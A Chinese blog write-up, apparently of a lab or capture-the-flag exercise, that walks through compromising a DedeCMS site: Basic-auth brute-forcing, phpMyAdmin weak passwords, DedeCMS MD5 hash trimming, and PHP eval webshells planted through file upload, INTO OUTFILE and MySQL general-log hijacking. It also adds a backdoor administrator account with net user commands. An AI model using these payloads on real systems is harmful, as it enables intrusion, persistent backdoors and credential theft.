DEDECMS-案例分析

avatar
作者
猴君
阅读量:0

DEDECMS-案例分析

1、信息采集

通过Wappalyzer获取CMS、操作系统、编程语言和数据库管理器等信息

image-20240806163507969

御剑目录扫描

image-20240806164239090

并未扫描到任何信息,大概率是认证问题

image-20240806164358033

输入账号密码抓个包看看

image-20240806163451912

image-20240806164615648

Basic认证
Basic认证过程简单介绍

浏览器请求一个需要认证的网页。
服务器向浏览器返回“401 Unauthorized(未认证)”状态码。
浏览器收到此状态码后,询问用户名和密码。
浏览器发送附带认证信息(Authorization头信息)的请求。
本次请求得到了文档(用户名密码均正确的情况下) 。

其中YWRtaW46MTIzusername:password(admin:123)经过base64加密得到的结果

2、弱口令爆破

这里就要尝试一些fuzz爆破

playload格式 用户名字典+ :+密码字典,对有效载荷处理添加base64编码

image-20240806165655516

image-20240806165710661

可以看到一个200响应,base64解码后得到账号密码

image-20240806165903464

image-20240806170001786

登陆得到key1

image-20240806170028433

目录扫描可以用BP抓包,加上御剑的字典爆破

注意一定不要选择有效载荷编码

image-20240806170645031

将结果保存为txt文档

image-20240806170953220

进入key.txt,得到key2

image-20240806171101946

前面信息采集的时候就已经知道了数据库管理器是phpMyAdmin

image-20240806171343107

还是尝试一下fuzz爆破,通过弱口令检查工具得到数据库用户名和密码,所以说这个admin就是一个干扰选项

image-20240806174002178

进入数据库后台后找到admin的密码,到这一部的时候就又要用我们前面的信息,CMS是DedeCMS,那么就有个特点,dede 的密码怎么破解,dede后台。32位的DEDE密码如何破解

dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。
比如我的数据库的密文是:cca77804d2ba1922c33e

得到20 MD5密码,方法是,前减3后减1,得到16位MD5

这样执行后就是77804d2ba1922c33

直接md5解密:888888

image-20240806174224105

image-20240806175047530

可以正常进入后台

image-20240806180028172

文件上传 getshell

在后台上传一个png类型文件,写入马,改后缀

image-20240806191010689

在附件数据管理中找到上传文件路径

image-20240806191319223

可以正常执行,蚁剑添加Authorized头部可以正常连接

image-20240806191239112

image-20240806191449174

phpMyAdmin get shell

参考文章:https://xz.aliyun.com/t/3283

(1) 直接写shell

前提三个条件:对web目录具有写入条件(dba用户)、知道网站的路径(探针phpinfo、报错、目录扫描等等)、secure_file_pri要具有导出权限,需要为空或者具体的一个web路径

查询secure_file_priv的值,当前为空

select @@secure_file_priv; show GLOBAL VARIABLES like '%secure_file%'; 

image-20240806200041169

查找路径

SELECT @@basedir; 

image-20240806200111959

SELECT '<?php eval($_POST[x]); ?>' INTO OUTFILE 'C:/phpStudy/MySQL/xiaodisec.php'; 

在蚁剑上可以看到已经上传了,知道路径就可以利用(可以根据MYSQL路径猜网站根目录,后面说)

image-20240806201209175

(2) 日志文件写shell

因为在mysql5.0以上,mysql官方把secure_file_pri参数默认设为NULL,所以无法进行导入导出,mysql有日志功能可以优化SQL语句

  1. 查询mysql日志功能是否开启
SHOW VARIABLES LIKE '%general%' 

General_log 表示日志功能是否打开

General_log_file 代表日志存储的位置

image-20240806180718588

  1. 修改日志功能开头以及日志位置
SET GLOBAL general_log = on; SET GLOBAL general_log_file='C:/phpStudy/MySQL/xiaodisec.php'; SELECT '<?php @eval($_POST[x]);?>'; 

image-20240806203348715

  1. 根据前面查到的日志路径可以判断,这个网站是小皮搭建的,大差不差就能猜到网站路径
C:/phpStudy/www SET GLOBAL general_log_file='C:/phpStudy/www/xiaodisec.php' 

image-20240806204150113

image-20240806204332153

image-20240806204426234

远程连接

先用nmap查看是否开启远程连接

nmap -p 3389 10.0.0.163 

image-20240806190449206

在御剑命令行中能看到当前为管理员用户

image-20240806193526086

但是很明显账号不匹配(与admin,888888)这个数据库后台管理员

net user xiaodi 123456 /add net localgroup administrators xiaodi /add net localgroup administrators 

image-20240806193837422

添加管理员用户成功

image-20240806194221144

远程连接失败的原因

远程桌面失败也有很多其他原因,例如: 1.攻击机与目标机是否连通,ping命令即可验证。 2.目标机器是否开启了远程桌面服务 3.kali中/etc/ssh/sshd_config文件,X11 forwarding 是否设置为 yes? 4.也有博主说kali默认安装的rdesktop容易出现问题,卸载,重装。apt-get remove/install rdesktop 两条命令即可! 

    广告一刻

    为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!